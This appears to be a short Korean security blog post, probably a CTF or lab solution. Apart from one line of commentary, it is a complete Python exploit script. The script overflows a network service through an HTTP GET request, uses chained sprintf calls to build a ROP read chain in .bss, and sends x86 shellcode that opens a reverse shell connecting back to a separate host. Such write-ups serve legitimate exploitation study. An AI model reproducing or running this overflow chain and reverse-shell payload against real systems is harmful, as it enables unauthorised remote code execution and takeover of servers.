반응형
bss로 점핑과 sprintf "\x0d"때문에 약간 삽질했네요;;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | from socket import * from time import sleep from struct import pack,unpack p = lambda x: pack("<L",x) up = lambda x: unpack("<L",x)[0] shell = ("\x6a\x66\x58\x99\x31\xdb\x43\x52\x53\x6a\x02\x89" "\xe1\xcd\x80\x96\x6a\x66\x58\x43\x68\xc0\xa8\xdf" "\x01\x66\x68\x25\x97\x66\x53\x89\xe1\x6a\x10\x51" "\x56\x89\xe1\x43\xcd\x80\x87\xf3\x6a\x03\x59\xb0" "\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80") #read plt/bss+32/read(4,bss+32,75 = len(shell)) makeread = [0x8049a58,0x80482f0,0x804aba0,0x804abb7, 0x80486be,0x804ac58,0x804ac58,0x804ac58, 0x8049a58,0x80482f0,0x804aba0,0x804abb7, 0x804907d,0x804ac58,0x804ac58,0x804ac58] def main(): S=socket(AF_INET,SOCK_STREAM) S.connect(('192.168.223.129',33227)) sprintf_plt = 0x804887C bss = 0x804aed4 ppppr = 0x80499a5 payload = "A"*1024 payload += p(sprintf_plt) payload += p(ppppr+2) payload += p(bss) payload += p(0x804ac98) bss+=4 for i in makeread: payload += p(sprintf_plt) payload += p(ppppr+2) payload += p(bss) payload += p(i) bss+=1 payload += p(ppppr+3) payload += p(0x804aed0) payload += p(0x8049565) S.send("GET http://"+payload+"/ HTTP/1.1\r\n") sleep(1) S.send("\r\n") S.send(shell) if __name__ == "__main__": main() | cs |
'Pwnable > Etc' 카테고리의 다른 글
Docker & Docker Compose 설치법 (0) | 2017.05.05 |
---|---|
BFF Fuzzer 약간설명&옵션설명 (1) | 2016.02.17 |
SongSari - Basic Bof (0) | 2015.12.01 |
Pin Tool 간단 설명 (0) | 2015.11.21 |
Layer7 CTF SPILL (0) | 2015.11.02 |